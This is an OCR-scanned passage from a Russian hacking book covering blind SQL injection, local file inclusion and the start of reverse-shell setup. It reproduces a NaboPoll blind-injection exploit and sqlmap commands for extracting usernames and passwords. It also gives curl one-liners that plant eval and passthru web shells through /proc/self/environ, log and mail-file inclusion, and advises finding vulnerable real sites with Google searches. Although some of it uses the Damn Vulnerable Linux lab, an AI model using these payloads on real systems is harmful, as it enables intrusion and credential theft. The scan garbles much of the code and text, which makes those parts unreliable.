82 07. Слепая SQL-инъекция Слепая SQL-инъекция в движке NaboPoll В установленном в системе Damn Vulnerable Linux движке NaboPoll (предназначенном для проведения опросов), а точнее — в модуле results.php имеется уязвимость, доступная для слепой SQL-инъекции. Уязвимый текст таков: Строки 27...31 $res_question = mysql_query("select * from nabopoll_questions where survey=$survey order by id"); if ($res_question == FALSE || mysql_numrows($res_question) == 0) error($row_survey. "questions not found"); Параметр Ssurvey (опрос) предварительно не фильтруется, а напрямую подставляется в SQL-запрос. Это слепая инъекция, так как сам параметр используется только в условии where и не отображается в дальнейшем в браузере. Теперь займемся эксплуатацией уязвимости. Для начала нужно пройти в каталог администратора сайта по адресу http://localhost/webexploitation_package_02/ nabopoll/admin/survey_edit.php и создать новый опрос, как показано на рис. 07.1 I location ?dit ^fiew ?0 $oefcm»fki Tools | (Э kft< 'itior. (pi htqs • ( cathoi i .-.•¦! i 1 1 Test Poll . A-ote.pho * ?erongs ^?indo* ДОр ¦ i mnrtrtrr i mturtt classic Ў T«t IP ИЙ [J classic ¦» Test IP wl H Щ • • ; Рис. 07.1. Создание нового опроса в NaboPoll Запрос добавляется щелчком на синем значке плюса и сохраняется щелчком на зеленом значке галочки в разделе Actions (Действия). Чтобы перейти на уровень ниже, чтобы добавить вопросы (а затем ответы), нужно щелкнуть на сиреневом значке стрелки (это последний значок в разделе Actions). Если вы сделали все правильно, то результат опроса с номером 1 будет выглядеть примерно так, как показано на рис. 07.2 (для этого нужно перейти по адресу http://localhost/webexploitation_package_02/nabopoll/result.php?surv=l).
Слепая SQL-инъекция в движке NaboPoll 83 yxdtton ?_elit rks lools Settings Window Help E> (.oration -fchttp ЕШЙИИИ УШЛЮТ Answer 1 Answer2 Votes: 0 шштшшш шшкшшшш i i ^ #- ":^.,;,' ¦fli 0*W 0%W Answer 1 Answer 2 Votes: 0 0% (0) back powered by ¦a Рис. 07.2. Созданный нами опрос в NaboPoll Теперь добавьте после конструкции surv=l следующий текст: /**/AND/**/l«(SELECT/**/(IF((ASCII(SUBSTRING(user().l.l))>125).1.0))) Аналогичный текст я нашел внутри готового эксплойта для SQL-инъекции в движке NaboPoll. Разберем его подробнее. Вместо пробелов используются пустые комментарии (/**/), вероятно, сайт не распознает пробелы. К существующему где-то в недрах странички оператору SELECT добавляется наше условие AND 1=, а справа в скобках стоит подзапрос SELECT с условным оператором IF. Оператор IF в зависимости от истинности условия вернет либо первый аргумент (1), если условие истинно, либо второй (0), если оно ложно. Таким образом, если условие в IF истинно, мы получим AND 1=1 и основной запрос к базе выполнится нормально (мы увидим страничку с результатом опроса). Если условие ложно, то мы получим AND 1=0 и основной запрос ничего не вернет, а на страничке появится сообщение survey not found (опрос не найден). Проверяемое в операторе IF условие: ASCII-код первого символа имени пользователя MySQL (его возвращает функция user) больше (или меньше) некоторого значения. Мы сначала проверили, больше ли этот код значения 125, но сервер страничку с опросом не отобразил (рис. 07.3), значит, условие ложно. Далее проверяем, например, больше ли этот код, чем 100, и в результате сервер возвращает положительный ответ (страничка с опросом загрузилась). Пробуя несколько раз, выясняем, что код первого символа равен 114. Это код буквы г.
84 07. Слепая SQL-инъекция 1 location ?dit \#ew Q,o Bookmarks Jools Settings JjVindow jjetp E^ Lfication ^)0ll/resultphp'surv==l/^/AND/+*yi=(SELECT/^/(IF((ASCII(SUB5TRING(user survey not found ¦ Page loaded. ),1.1))>12S),1,0))) d 1' .; 1 Рис. 07.3. Слепая инъекция в NaboPoll Аналогично ищется код второго символа (заменяем в вызове SUBSTRING второй параметр на 2): /**/AND/**/l=(SELECT/**/(IF((ASCII(SUBSTRING(user(),2.1))>114).1.0))) После небольшого количества попыток находим, что код второго символа равен 111 (буква о). В location ?dit \#ew Cjio Bookmarks Tools Settings Jfl?indovm ш ?> Lfication @@ http//p a cketstorrn security org/0702-exploits/nabopoll-sql txt # Nabopoll Blind SOL Injection РОС Exploit # Download: www.nabocorp.com/nabopoll/ # coded by sQcratex ¦Contact: sOcratexfchotmail.com error_reporting(0); ini_set("max_execution_time",0); // just change the default values... fsrv = "localhost"; $path ¦ "/poll"; $port = 80; $survey = "8"; //you can verify the number entering in the site and viewing the results... echo "= =\n"; echo "Nabopoll SOL Injection -- Proof of Concept Exploit\n"; echo " Vn\n": echo " .- MySQL User: "; %] = 1; $user = ""; whilef!strstr($user,chr(0))){ for($x=0;$x<255;$X4-i-){ $xpl = "/result.php'surv*".$survey."/**/AND/**/l«=(SELECT/**/(IF((ASCII(SUBSTRING(user(),".$j."Л})-".$x.").1,0)))/*"; $cnx = fsockopen($srv,$port); fwrite($cnx,"GET ".$path.$xpl." HTTP/1,0\r\n\r\n"); while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user,=chr($x);echo chr($x); break; } >. fclose($cnx); if ($x==255) t dief"\n Try again..,"): > } %)*¦+¦' У echo "\n"; Рис. 07.4. Текст эксплойта для NaboPoll
Слепая SQL-инъекция в движке NaboPoll 85 Чтобы не тратить время на ручной перебор символов, идем по адресу http://pack- etstormsecurity.org/0702-exploits/nabopoll-sql.txt и копируем текст эксплойта в свой редактор. Все, что находится до начала программы (до оператора <?), удаляем, так как это просто пояснения (то есть у вас должен остаться только текст, показанный на рис. 07.4). Далее меняем значение переменной Ssurvey на 1, а значение переменной $path — на путь к движку: /webexploi tati on_package_02/nabopol1 Сохраняем программу с именем nabopolLphp, например, в каталоге /tmp и запускаем командой php nabopoll.php После этого можно наблюдать волшебную картину, как по одному символу на экране появляется имя пользователя MySQL (рис. 07.5). Рис. 07.5. Работа эксплойта для NaboPoll Таким образом, мы узнали, что имя пользователя MySQL — root@l oca 1 host. По моим наблюдениям, многие эксплойты для слепых SQL-инъекций перебирают абсолютно все коды символов: от 0 до 255. На самом деле можно перебирать только печатные символы (да и то не все, а лишь допустимые в имени пользователя), что заметно сокращает время работы эксплойта. Если же реализовать не просто перебор, а метод двоичного поиска, код эксплойта, конечно, усложнится, но время работы значительно сократится. Это я вам говорю, как программист ©. Как я уже отмечал, если у нашего пользователя есть право на исполнение функции loadfi 1е(), можно загрузить любой файл, к которому у нас есть доступ на чтение, например /etc/passwd. Для этого достаточно просто заменить в эксплойте вызов функции user() следующим вызовом: 1oad_file(0x2f6574632f706173737764) Работу модифицированного эксплойта иллюстрирует рис. 07.6. Если для извлечения имени пользователя скорость работы эксплойта не столь важна, то для загрузки целого файла ее не мешало бы повысить, используя упомянутые здесь методы.
86 07. Слепая SQL-инъекция Рис. 07.5. Работа модифицированного эксплойта для NaboPoll Измерения показали, что на подбор 100 символов эксплойт тратит 195 секунд. Я переделал эксплойт с использованием двоичного поиска, и он стал угадывать 100 символов всего за 15 секунд, то есть скорость работы возросла ровно в 13 раз. Текст усовершенствованного эксплойта приведен в приложении 6. Если эксплойт предназначен для извлечения стандартного MD5-x3ina, можно преобразовать строку к нижнему регистру (так как хэш может содержать только либо прописные, либо строчные буквы, на расшифровку это никак не влияет). Тогда в хэше могут встретиться только цифры 0-9 и буквы a-f. В этом случае время перебора сокращается в разы даже без половинного деления. Однако по-настоящему быстрые методы извлечения хэшей приведены в приложении 8. Автоматизация механизма извлечения данных Вернемся к условному примеру с инъекцией на сайте site.com в модуле news, php. С точки зрения хакера лучше использовать хакерскую утилиту sqlmap 4, поскольку версия 5 содержит ошибки и не всегда работает корректно. Существуют и другие инструменты для слепой инъекции. Чтобы извлечь те же самые имя пользователя и пароль с помощью утилиты sqlmap, применяется следующая команда: ./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a M./txt/user-agents.txt" -vl --string "Posted 3-3-2008" -e "( SELECT concat(username.0x3a,password) from users where userid=2)" Здесь после -и указан адрес, в котором имеется инъекция, а после -р — имя параметра, подверженного инъекции (у нас это id). Опция -а задает случайного пользовательского агента из текстового файла (иначе по умолчанию будет указан вариант user-agent = sqlmap, что нехорошо). Опция -vl означает подробный
Поиск уязвимых сайтов 87 отчет. После опции - -string указывается уникальная строка, которая появляется на страничке, если условие истинно. Отыскать ее можно, пробуя варианты 1=1 и 1=2 и копируя небольшой фрагмент текста, который появляется только в случае истинности условия. Опция -е задает выполняемую команду, и, если вы используете подзапрос, не забудьте заключить оператор SELECT в скобки. Работа описанной команды sqlmap продолжается порядка 5 минут, а вручную пришлось бы потратить не менее получаса. Утилита sqlmap может также извлекать имена таблиц/столбцов, если на сайте используется версия mysql5, но на самом деле вам не потребуется полная структура таблиц. Задействуйте опцию -е, чтобы выполнять свои команды для получения имен только интересующих вас таблиц и столбцов (в версии mysql4 вам придется угадывать имена таблиц и столбцов описанным ранее методом): ./sqlmap.ру -и "http://site.com/news.php?id=12" -p id -а "./txt/user-agents.txt" -vl --string "Posted 3-3-2008" -e "( SELECT concat(table_schema.0x3a,tablejname.0x3a.columnjiame) from information_schema.columns where col umnjiame like 0x257061737325 limit 0.1)" Команда sqlmap не работает с одинарными кавычками, даже если на инжектируемом сайте выключена опция magicquotes, так что используем шестнадцате- ричные коды 0x257061737325 (это просто конструкция ' UpassU', преобразованная в шестнадцатеричный код). Далее мы просто запускаем это и увеличиваем значение limit, чтобы получать последующие записи. Этот вариант работает гораздо быстрее, чем вариант с использованием команды sqlmap для получения имен всех таблиц и последующим поиском таблиц, в которых могут находиться интересующие нас данные. Поиск уязвимых сайтов Поиск сайтов, потенциально уязвимых для слепой SQL-инъекции, осуществляется довольно просто. Например, если сайт выдает примерно такое сообщение об ошибке: «Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/site/public_html/detail.php on line 377», есть большая вероятность того, что он окажется уязвимым. В поле параметра (пусть это будет, например, параметр id) следует подставить конструкцию id=29 and 1=1, чтобы страница отображалась нормально, и id=29 and 1=2, чтобы часть содержимого исчезла. Значение параметра (в нашем примере — 29) обязательно должно существовать в базе данных сайта, ввод несуществующих значений не даст желаемого результата.
88 07. Слепая SQL-инъекция Уязвимые сайты легко искать через Google, вводя в строке поиска запрос: «Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource». Для сокращения диапазона поиска можно добавлять словосочетания «site:fr»,«site:uk» и т. п. Возможно ситуация, когда обычная с виду SQL-инъекция работает не так, как вы ожидаете. Например, вы добавляете столбцы, пока количество их в двух запросах sel ect не станет равным, но обнаруживаете, что ни один из параметров запроса не отображается на экране. Это означает, что вы имеет дело с классическим случаем слепой инъекции. Если сайт оказался уязвимым, хакеру имеет смысл сразу сделать «ход конем» — проверить, загружается ли содержимое файла/etc/passwd: id=29 and 1=(SELECT/**/ (IF((ASCII(SUBSTRING( 1oad_fi1e(0x2f6574632f706173737764).1.1))<-255).1.0))) Если ответ на этот запрос положительный (страница загружается полностью), значит, вы можете с помощью эксплойта «вытащить» содержимое указанного файла. При некоторых навыках программирования легко модифицировать экс- плойт для NaboPoll, чтобы он работал с этим сайтом (я рекомендую использовать мой вариант эксплойта, приведенный в приложении 6). Если же ответ отрицательный (а так бывает более чем в 90 % случаев), то надо попытаться отыскать и загрузить логины и пароли пользователей сайта, особенно администраторов. Также представляют интерес функции user(), database(), ver- sionO и переменная @@version_compile_os. Последняя содержит название операционной системы, установленной на сайте. Использование временных задержек Приводимый здесь материал немного сложнее предыдущего и в дальнейшем изложении больше не упоминается, так что, если сразу не разберетесь, можете не расстраиваться — потом при необходимости достаточно будет просто вернуться к этому разделу. Итак, что, если в уязвимом сценарии используется не оператор SELECT, а оператор INSERT (вставка записи) или UPDATE (модификация записи) и при этом результат его выполнения никак не влияет на вывод информации на экран? В этом случае хакеры пишут эксплойт, использующий временш/ю задержку, чтобы узнать, каков результат сравнения. Для MySQL применяется функция benchmark(), для PostgreSQL — функция pg_sleep(), для MS SQL — функция del ay О. С помощью функции benchmark О программисты тестируют производительность: она заданное количество раз вызывает какую-либо другую функцию. Если таким образом ресурсоемкую функцию выполнить много-много раз, время задержки достигнет
Использование временных задержек 89 нескольких секунд. И тогда по наличию задержки мы узнаем, что результат сравнения в запросе был истинным. Предположим, что в уязвимом скрипте есть такой sql-оператор: INSERT INTO table VALUES Caaa'. 'bbb'. '[sql]'. 'xxx'); Этот оператор вставляет в таблицу table значения 'ааа', ' bbb *, 'sql' и 'xxx'. Параметр sql здесь выделен квадратными скобками, потому что в нем есть sql-инъекция. Тогда мы можем в этот параметр вставить свой подзапрос select (в примере заключен в квадратные скобки): INSERT INTO table VALUES Caaa', 'bbb'. '[ ' OR l=if(ascii(lower(substring( (select user from mysql.user limit 1),1.1)>0. benchmark 999999.md5(now())).l). 'hacked')/*]', 'xxx'); Здесь проверяется на равенство единице результат выполнения условного оператора i f, который, как мы указали, в случае истинности условия выполнит функцию benchmark, в случае ложности просто вернет значение -1. В самом же условии подзапросом select выбирается одно имя пользователя из таблицы mysql .user, из него берется первый символ, преобразуется к нижнему регистру и проверяется, больше ли его ASCII-код, чем 0. Поскольку он наверняка больше, выполнится функция benchmark, и временная задержка составит несколько секунд (функция benchmark у нас 999 999 раз вычисляет MD5-xaiu от текущего времени). Записи значения ххх в таблицу у нас не произойдет, потому что перед этим стоят символы комментария (/*), вместо него запишется слово hacked. А вот этот оператор выполнится без задержки, потому что код символа не может превышать 255: INSERT INTO table VALUES Caaa'. 'bbb'. '[ ' OR l=if(ascii(lower(substring(( select user from mysql.user limit 1).1,1)>255. benchmark 999999.md5(now())),l) ). 'hacked') /*]'. 'xxx'); Если перебор осуществляется проверкой символа на равенство, следует ставить задержку именно в случае, когда условие истинно. Поскольку отрицательный результат сравнения встречается намного чаще, перебор будет происходить быстрее. При использовании временных задержек нет смысла задействовать метод половинного деления, потому что в этом методе отрицательный и положительный результаты сравнения равновероятны и, значит, много раз будет срабатывать временнйя задержка. При реализации эксплойта с использованием функции benchmark нужно учитывать следующие моменты: О Вызов функции benchmark серьезно нагружает процессор сервера. Администратор может заметить задержки в работе. О Время работы эксплойта прямо пропорционально длине извлекаемой записи. На подбор 32-символьного хэша уходит больше часа. О Взломщику требуется скоростной доступ в Интернет.
90 07. Слепая SQL-инъекция О Количество выполнений тестовой функции benchmark (в нашем случае 999 999) зависит от производительности сервера. Желательно в эксплойте сначала выполнять автоподстройку этого параметра. О После каждого вызова функции benchmark системе нужно давать паузу, равную или процентов на 50 ббльшую продолжительности выполнения самой функции. Иначе следующий запрос будет иметь непредсказуемое время выполнения, и последующие символы начнут обрабатываться неправильно.
Новые возможности РНР-инклуда Инъекция в файл /ргос/self/environ Допустим, что на определенном сайте (http://site.com) присутствует php-код, уязвимый для локального инклуда. Также предположим, что возможности залить файл/картинку с шеллом у нас нет, пути к логам сервера Apache мы не нашли, а в каталоге /tmp не сохраняются данные сессий. Что делать? Неискушенный в локальном инклуде хакер опустил бы руки. Искушенный же использует хранилище переменных окружения /proc/self/environ. Когда мы запрашиваем любую php-страничку на сервере, создается новый процесс. В *nix- системах каждый процесс имеет собственную запись в каталоге /ргос, а /ргос/ self — это статический путь и символическая ссылка, содержащая полезную информацию для последних процессов. Если записать веб-шелл в/proc/self/environ, то появится возможность выполнять произвольные команды системы. Аналогично тому, как мы проводили инъекцию в логи сервера Apache, можно включить код и в /proc/self/environ. Для примера возьмем поле user-agent (имя веб-браузера). По умолчанию часть /proc/self/environ, показывающая user-agent, выглядит примерно так: PATH=/sbin: /usr/sbin:/bin: /usr/bin: /usr/XHR6/bin: /usr/bin: /bin SERVER_ADMIN=admin@site.com Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150 А теперь вместо user-agent подставляем <?php eval ($_GET[cmd]); ?> и обращаемся к нашему уязвимому скрипту командой curl: curl "http://site.com/index.php?page=../../../../../../../../ргос/ self/environ&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>" Функция phpinfo() успешно выполнится. При этом часть /proc/self/environ с ха- керским кодом user-agent будет выглядеть так: PATH=/sbin: /usr/sbin: /bin: /usr/bin: /usr/XHR6/bi n: /usr/bin: /bin продолжение J 0fl
92 08. Новые возможности РНР-инклуда SERVER_ADMIN=admin@site.com <?php eval($_GET[cmd]): ?> HTTP_KEEP_ALIVE=150 Недостаток метода в том, что строка user-agent и вредоносный запрос должны внедряться одновременно (так как наш код в /proc/self/environ легко сможет изменить любой другой последующий процесс). Поиск логов сервера Apache Как узнать местонахождение файлов access_log и errorjog? На самом деле знать, где они лежат, вовсе не обязательно. В том же каталоге /ргос расположена символическая ссылка на реальное местоположение логов Apache. Использовать ее для инклуда можно несколькими способами: О Через i d процесса и ярлыки: /proc/*{PID}/fd/2;{FD_ID} Здесь: %{PID} — идентификатор процесса (узнать его можно, просмотрев файл /proc/self/status), %{FD_ID} — ярлыки соответствующих файлов (обычно 2 и 7 — логи сервера Apache). Пример: http://site.com/index.php?page=../../../../../../../../proc/self/status Допустим, значение ${PID} равно 1228, тогда конечный эксплойт будет выглядеть следующим образом: curl "http://site.com/index.php?page=../../../../../../../.,/ргос/ 1228/fd/2&cmd=phpinfo();M -H "User-Agent: <?php eval(\$_GET[cmd]); ?>" О Напрямую, без узнавания id процесса, а используя sel f: curl "http://site.com/index.php?page=../../../../../../../../proc/ self/fd/2&cmd=phpinfo():" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>" Этот способ надежнее, так как sel f — это текущий процесс, а в предыдущем случае id процесса может поменяться. В обоих представленных способах (как и при любом локальном инклуде логов сервера Apache) эти логи должны быть доступны для чтения. Инклуд почтового сообщения На этот раз представим, что на сайте не работают оба представленных способа инклуда. Такие случаи действительно бывают, но итальянские хакеры из группы Secteam смогли изобрести хитрый способ реализации инклуда через обычное сообщение электронной почты.
«Повторение — мать учения» 93 Большинство веб-приложений содержат в себе функцию отправки почты в качестве части регистрационной системы, каких-либо подписок и т. п. Зачастую пользователь может сам изменять содержимое такого письма. При этом *тх-системы могут сохранять такое письмо локально. Сама процедура локального инклуда через e-mail выглядит так: 1. Хакер регистрируется в веб-приложении на уязвимом сервере. 2. Хакер заменяет какую-либо часть своего профиля (например, «Обо мне»), которая должна прийти в письме в качестве подтверждения смены информации, вредоносным php-кодом, подготовленным для локального инклуда. 3. Хакер заменяет свой электронный адрес строкой вида wwwrun@localhost, где wwwrun — пользователь, под которым запущен http-демон (возможны также варианты www-data, nobody, www, apache, wwwdata и т. д.). Отправленное письмо будет лежать в каталоге /var/mail (либо /var/spool/mail) и иметь название пользователя, под которым работает http-демон. Вот эксплойт для этого способа с применением стандартной программы curl: curl "http://site.com/index.php?page=../../../../../../../../var/mail/ wwwrun&cmd=phpi nfo():" Отмечу, что файл почтового сообщения будет доступен только тому пользователю, которому адресовано письмо (то есть веб-сервер должен быть обязательно запущен от имени того же пользователя). «Повторение — мать учения» Это что-то вроде домашнего задания для самых заинтересованных читателей. «Repetitio est mater studiorum» (повторение есть мать учения) — говорили древние римляне и были правы. И еще: когда человек получает информацию из нескольких источников, это позволяет ему лучше ее понять и осмыслить. Когда американцы говорят «мыслить нестандартно», они употребляют выражение: «То think out of the box» (дословно что-то вроде: «думать за пределами коробочки, то есть заглянуть мыслью за пределы этой коробочки»). Чтобы под новым углом взглянуть на то, что было рассказано в этой книге про локальный (LFI) и удаленный (RFI) файловые инклуды и про защиту от них, повторить пройденное, узнать много нового, я предлагаю прочитать следующую статью на хакерском форуме: https://rdot.org/forum/showthread.php?t=343 Многие комментарии к статье также имеют значительную ценность. Обязательно прочитайте их внимательно. Из них вы узнаете много интересного, например, чем заменить null -byte, если веб-сервер работает под управлением Windows. И вообще, ощутите, что такое творческий подход в хакинге. Как заметил the Matrix, «нужно учитывать, что сами по себе дела по хаку очень гибкие. То есть если есть
94 08. Новые возможности РНР-инклуда что-то, что нельзя, но очень хочется, то шансы получить это есть, просто методы могут быть самыми извращенными, нигде не описанными». Читатели и рецензенты (в том числе и the Matrix) хотят больше реальных примеров в книге, но я могу порекомендовать другой подход — самим отыскивать в Интернете описания уязвимостей для движков, имеющихся в тестовой системе DVL. Экспериментируйте. Копайтесь в исходном коде движков. Могу добавить, что для одного из установленных в системе движков в Интернете есть эксплойт proof-of-concept для слепой SQL-инъекции с использованием временных задержек, но для проверки его работы нужна домашняя локальная сеть из двух машин. Потому что в этом случае один-единственный компьютер никак не может играть роль нападающего и жертвы одновременно. И немного о пока «запредельном» для новичков. Новейший (я бы сказал, изысканный) метод эксплуатации LFI основан на реализации самого языка РНР и тонкостях взаимодействия интерпретатора РНР с веб-сервером Apache. Эту уязвимость «голыми руками» эксплуатировать невозможно, поскольку предполагает использование эксплойта на языке Perl, работающего на уровне сетевых пакетов. Вся информация находится здесь https://rdot.org/forum/showthread. php?t=1134. Также позже публикация с разбором этой уязвимости появилась в журнале «Хакер» (№12, 2011). Читайте, разбирайтесь, выполняйте примеры. И, конечно, помните о соблюдении законов вашей страны и остальных государств... Немного о нестандартных ситуациях Когда я в первом издании решил дать примерную схему проникновения хакера (см. главу 10), то получил довольно строгую критику со стороны специалистов, владеющих тонкостями данной тематики. Меня обвинили в чрезмерном упрощении подхода. В то же время тот, кто является в данной области новичком, наоборот, благодарил меня за возможность увидеть некую графическую схему, что помогло лучше понять и систематизировать материал предыдущих глав. Естественно, я отметил в книге, что этой схемой все многообразие реальных ситуаций не ограничивается. Специально для второго издания я нашел интересный, на мой взгляд, пример, где уязвимость является комбинацией обычной SQL-инъекции и локального файлового инклуда. Без знания обеих тем эксплуатировать данную уязвимость просто невозможно. Представьте, что хакер видит перед собой вроде бы банальную SQL-инъекцию: http://www.si te.com/s i te/i ndex.php?pagei d=-3+uni on+select+1 Он получает обычное в таких случаях сообщение от ошибке несоответствия количества столбцов:
Немного о нестандартных ситуациях 95 Warning: The used SELECT statements have a different number of columns select * from sitejiavigation where nav_id=-3 union select 1 Далее он проводит подбор, чтобы устранить ошибку. Кстати, при описании самого метода SQL-инъекции я не упомянул, что есть более простой метод подбора количества столбцов, чем добавление их по одному. Он работает, по крайней мере, в MySQL. В этом случае дается SQL-директива, призванная упорядочить данные запроса по определенному номеру столбца (сначала берется явно завышенное значение номера столбца), то есть для данного сайта это может быть следующая директива: http .7 /www.site.com/site/index.php?pageid=-3+order+by+30 На что хакер получает примерно такое сообщение об ошибке: Warning: Unknown column "30" in 'order clause' select * from sitejiavigation where nav_id=-3 order by 30 Это сообщение говорит о наличии неизвестного столбца, то есть о том, что столбца с номером 30 нет. Затем хакер пробует вместо 30 уже 15 и не получает сообщения об ошибке. То есть столбец с номером 15 существует. Путем таких несложных манипуляций и простых логических умозаключений хакер вскоре выясняет, что всего в предложении select есть, скажем, 21 столбец. Казалось бы, цель достигнута, можно писать SQL-запрос с правильным числом столбцов: pageid--3+union+select+1.2.3.4.5.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21 Однако вместо желанного для хакера экрана с отображаемыми полями появляется новая серия сообщений об ошибках. Некоторые числа из введенного запроса фигурируют в сообщениях об ошибках, но в весьма странном виде, например: Warning: loadtheme(/home/www/ftp-site/web/site/themes/9/theme.php) [function, loadtheme]: failed to open stream: No such file or directory in /home/www/ftp-site/ web/site/modules/core/renderer.api.php on line 265 Warning: loadthemeO [function.include]: Failed opening 7home/www/ftp-site/web/ sitet/themes/9/theme.php' for inclusion (include_path='.:/usr/share/php.7usr7share/ pear') in /home/www/ftp-site/web/site/modules/core/renderer.api.php on line 265 Здесь параметр под номером 9 (он специально выделен в листинге полужирным начертанием) оказался на месте имени каталога: как часть пути, используемого функцией i ncl ude. To есть мы видим перед собой не что иное, как LFI (локальный файловый инклуд). Не удивительно, что такой каталог не найден, как не найден и файл theme.php. Но что мешает хакеру вместо параметра номер 9 подставить, например, такую конструкцию: /../../../../../../../../../../../../etc/passwdOO
96 08. Новые возможности РНР-инклуда Здесь количество символов обхода каталогов взято с запасом, по конкретному пути из сообщения об ошибке видно, что мы находимся на 7-м уровне вложенности от корневого каталога (/). Нуль-байт отрезает лишнее название файла (theme.php). Конечно, в открытом виде такой параметр подставить нельзя, он вызовет ошибку синтаксиса SQL. По сути, это должно быть строкой, заключенной в одинарные кавычки, но символ одинарной кавычки фильтруется. Тем не менее такие мелкие проблемы никогда не останавливают хакеров, они просто преобразуют этот параметр в шестнадцатеричную кодировку (мы уже прибегали ранее к такому приему, изучая SQL-инъекцию). Итак, параметр с номером 9 будет выглядеть следующим образом: 0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f70617373776400 Вводя запрос полностью, хакер получает на экране содержимое файла /etc/ passwd. Как он его может использовать, мы поговорим позже (см. главу ОВ). Однако успех данной попытки не значит, что на ней следует остановиться. Допустим, логи веб-сервера оказались недоступными для чтения, поэтому невозможна и любая методика инъекции в них. Однако можно использовать интересный вариант инъекции в файл /proc/self/environ, описанный в самом начале этой главы. Естественно, путь к/proc/self/environ кодируется шестнадцатеричными значениями, как и в предыдущем случае. Для использования эксплойта нужна поддержка в Linux команды curl — она поддерживается в большинстве дистрибутивов. Работа ведется из командной строки (в консоли) атакующего компьютера. Для исследуемого случая ввиду особенностей эксплуатации через SQL-запрос код приведенного эксплойта придется несколько упростить (без потери функциональности). Упрощение заключается в том, что желаемые команды системы вводятся не через параметр cmd, а непосредственно как аргумент функции passthru, которая их и выполняет. Полный текст эксплойта таков: curl ,,http://vAw.site.com/site/index.php?pageid--3+union+select+1.2,3.4.5.7.8.0x2e2e 2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e003f63 6d643d6c7300Л0.11.12.13.14.15.16Л7,18.19.20.21" -Н "User-Agent: <?php passthruCls -la;id;uname -a;pwd'); ?>" В данном конкретном примере произойдет последовательное выполнение команд Is - la, uname -а и pwd (то есть получения листинга текущего каталога, имени машины и текущего каталога). Конечно, команды могут быть заменены любыми другими. Разумеется, весь пример — это одна длинная строка-команда, в книге он разбит на подстроки только из-за недостатка места. Имея такой доступ к командам сервера, хакер уже может планировать заливку полноценного веб-шелла или бэкконнект-шелла. К этому интересному примеру можно было бы вернуться после изучения ряда последующих глав и подумать, как в этой ситуации хакер может попытаться получить полный контроль над сервером (права root). Однако я решил ограничиться этим примером. Почему? Хотя отклики на первое издание данной книги были в основном позитивными, в одном Интернет-
Выводы для веб-программистов 97 магазине некий читатель оставил такой отзыв о первом издании: «Еще одно эссе на тему, как, по мнению его автора, хакеры взламывают сайты». Эта ирония заставила меня улыбнуться. Что я могу ответить на такую критику? Да вот именно так и взламывают. Я ведь здесь даю основы и, может быть, чуточку больше. Но основы вполне реальные и применимые. А по моим наблюдениям, написанием «эссе на тему...» грешат некоторые совсем другие авторы (не буду их здесь называть), книги которых изданы уже достаточно давно и в значительной степени морально устарели. Конечно, есть и масса дельной литературы. Любая критика полезна, и я постарался во втором издании дать больше нового материала и больше практических примеров. Выводы для веб-программистов Какой вывод должен сделать для себя из всего вышеизложенного веб- программист? Надо быть очень внимательным при написании кода, поскольку хакер может использовать нестандартную комбинацию приемов в, казалось бы, безобидной ситуации. Надо быть внимательным и при устранении огрехов, так как зачастую это происходит по принципу «одно лечим, другое калечим» (не люблю эту поговорку, но в данном случае она хорошо отражает суть вопроса). Вот подобный пример: один начинающий веб-программист «полечил» LFI, по его мнению, красивым и дружественным к пользователю способом: если страничка с таким названием не находится, текст параметра из строки веб-адреса немного форматируется (пишется с большой буквы) и крупными буквами попадает в подзаголовок на сформированную веб-страничку. Дескать, это не найдено. Но при этом программист даже не подумал о такой возможности, как межсайтовый скриптинг. То есть в принимаемой строке html-теги никак не фильтруются, и даже «зловредный» тег <script> спокойно включается в код страницы. То есть имеет место пассивный межсайтовый скриптинг. Конечно, это уже не столь «страшно», как локальный файловый инклуд, но все-таки тоже уязвимость.
04 CRLF-инклуд CRLF-инклуд — это очень простая уязвимость, которая позволяет, например, подделывать сообщения в чатах. Предположим, что сообщения чата хранятся в текстовом файле примерно в таком формате: [00:20:33] <Admin> всем привет! [00:20:40] <Lapochka> привет. Admin! После своего сообщения (скажем, ваш ник в чате — А1 ех) вы просто вставляете шестнадцатеричный код перевода строки (Ш) и имитируете сообщение от чужого имени: Привет, народ!%0а[00:20:51] <Admin> отстань от меня. Lapochka! В результате файл с сообщениями примет следующий вид: [00:20:33] <Admin> всем привет! [00:20:40] <Lapochka> привет. Admin! [00:20:49] <А1ех> Привет, народ! [00:20:51] <Admin> отстань от меня. Lapochka! В некоторых чатах локальных файлообменых сетей (например, FlyLinkDC++) даже не нужно вводить символы Ш — достаточно вместо этого нажать комбинацию клавиш Ctrl+Enter (на эту возможность мне указал Codehunter aka Born Dragon).
Часть III Что дальше? ¦Ф 0А. Получение полноценного доступа к шеллу ¦ 0В. Удаленный подбор паролей 4- ОС. Локальный взлом паролей Ф 0D. Повышение привилегий ^ 0Е. Сокрытие следов присутствия Ф 0F. Исследование системы ¦ 10. Алгоритмы получения контроля над сервером ¦ И. Удаленные эксплойты Ф 12. Противодействие хакерам Ф 13. Реальные задачи ГГ-безопасности
Получение полноценного доступа к шеллу Следующим шагом является получение полноценного доступа к командной оболочке (шеллу). Почему это важно? Помимо очевидного удобства работы, при наличии такого доступа можно попытаться получить права суперпользователя (root). Многие начинающие хакеры даже считают это абсолютно необходимым условием для использования локальных эксплойтов, повышающих права, но в главе 0D я опишу хитрый способ получения прав суперпользователя при наличии только веб-шелла. Рассмотрим, как получить нормальный шелл-доступ, имея в распоряжении веб-шелл, созданный в главе 05. Самым простым и надежным способом, на мой взгляд, является использование утилиты netcat (запускается командой пс). Эта утилита присутствует во многих бесплатных версиях Unix (в том числе Linux). К сожалению, она не всегда «понимает» параметр -е, необходимый для выполнения произвольной команды после установления соединения (в нашем случае — для запуска командной оболочки), но в имеющемся у нас дистрибутиве DVL с этим все в порядке. Сначала хакер должен запустить в командной строке на своем компьютере утилиту netcat в режиме прослушивания порта следующим образом: пс -1 -n -v -р 25 Здесь после параметра -р указывается номер 